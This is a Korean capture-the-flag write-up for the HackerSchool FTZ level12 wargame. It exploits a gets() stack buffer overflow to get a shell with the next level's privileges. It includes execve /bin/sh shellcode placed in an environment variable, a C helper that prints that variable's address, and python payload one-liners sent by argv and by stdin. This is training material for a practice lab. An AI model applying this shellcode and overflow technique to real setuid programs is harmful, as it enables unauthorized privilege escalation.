HackerSchool_level12

keyworld : gets buffer Overflow

---

level12 - WriteUp

위 코드를 확인해보시면 gets()라는 입력받는 부분이 어디까지 입력받는지 서술되지 않았기에 취약함!
참고로 안전한 방식은 gets_s가 있겠죠.

실행할 수 있고 분석할 수 있게 tmp로 옮겨서 실행하지요

위 방식으로 하시면 보통 저는 intel 방식으로 사용하기에 보기 불편할 수 있기에
변경하는 방식도 있는거 같은데 그냥 전부터 이렇게 했으니까 그냥 할께요

첫번째 방식으로는 메모리에 할당된 stack의 크기를 알 수 있으며, 0x108(264)로 확인 되며,
두번째는 gets의 형식이 있기 전에 str로 입력받은 형식이 인자로 넣어지는데 gets의 형식의 인자에 맞게 넣기에
확인해보면, 0xff.. 실제값이라기엔 말이 안되죠 즉, 2의 보수법으로 풀어서 확인해보시면.. 0x108(264)

위와 같이 다양한 방식으로 ebp+0x108에서 확인하는 방식은 물론 더 있겠지만 이정도로 할까요?
그럼 해당 gets에 입력하면 어디에 esp가 잡히는지 알아봐야겠죠 참고로 공격기법은 RTL로 할께요

위와 같이 브포를 잡고(출력 확인할려고 위와 같이 잡았어요 어딜 잡던 큰 문제는 없겠다만.. 아마도?)

위와 같이 esp가 0xbfffe140으로 잡힌 모습
즉, gets()의 시작값은 0xbfffe140 또한 끝나는 지금은 0xbfffe268+ 0xc(12)로 크기도 알맞죠
즉, gets의 시작 주소인 0xbfffe140  와 초과하면 해당 영역을 건드린다는 사실도!

---

RTL(외부 인자 활용) - 풀이 방식

위 방식은 다들 아실거예요 그전 level11에서 많이 한 부분이니까 빠르게 설정해봅시다.

export Shellcode=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80")')

env에 넣을 인자로 우리가 그냥 구글링해서 얻은 쉘코드를 넣어줍시다
쉘코드를 만들어서 하고 싶다(여러가지 상황에 따라 더 힘들겠다만..) 그럼 아래 링크로 ㄱㄱ

Exploit Tech: Shellcode

그리고 해당 위치의 경로를 알기 위하여 짠 C코드

#include <stdio.h>
#include <stdlib.h>
 
int main(){
    char *pathvar;
 
    pathvar = getenv("Shellcode");
    printf("pathvar addr : %p", pathvar);
}

 

여기선 뭐.. 위치가 또이또이하게 들어가네요;;
그럼 shellcode 주소도 알고 해당 bof에 넣을 값도 알았으니까 payload의 시나리오는..

dummy*264 + ebp(4) + shellcode addr

level11에서 풀던 RTL이랑 다르죠? 다양하게 해봐야죠 ㅎ
그럼 해당 코드를 짜시면...

Exploit code

./attackme `python -c 'print("A"*268 + "\x20\xfc\xff\xbf")'`

아마 이런 식으로 안될거예요 뭐, 입력받는 형식이 달라서겠죠?

ayload 작성 방법에는 argv와 stdin 방법 두 가지가 존재합니다
level11에서는 "인자"로 str 변수에 넣어서 [실행파일주소 `python -c 'print ~~~'`] 구조 형식
level12에서는 "stdin"으로 실행파일이 시작되고 나서 입력 [(python -c 'print ~~~';cat) | 실행파일주소]이죠

근데 자꾸 이건 해당 폴더 위치에 따라 주소가 자꾸 바뀌네요 빡치게
쨋든 저는 저런 방식이 안되나..? FSB때도 그랬는데.. 왜 이럴까요? 아신다면 알려주세요 ㅠ

어떻게 다시 시도 해보니까 이번엔 얼추되네요 생각해봤는데

맞게 넣을려면.. 저희의 읽기 쓰기 권한이 존재하는 tmp파일의 위치에서 확인해서 사용하는것이
RTL처럼 해당 env에 적재된 환경에 위치에 맞게 적재된 주소에 값으로 접속해야하는 거 같네요

(python -c 'print "\x90"*268 + "\x12\xfc\xff\xbf"';cat) | ./attackme

위 이미지를 확인해보시면 level13의 권한을 휼룡하게 획득한 모습!

level13 : have no clue

---

참고 자료

 

참고 이미지

Level Up free icons designed by Freepik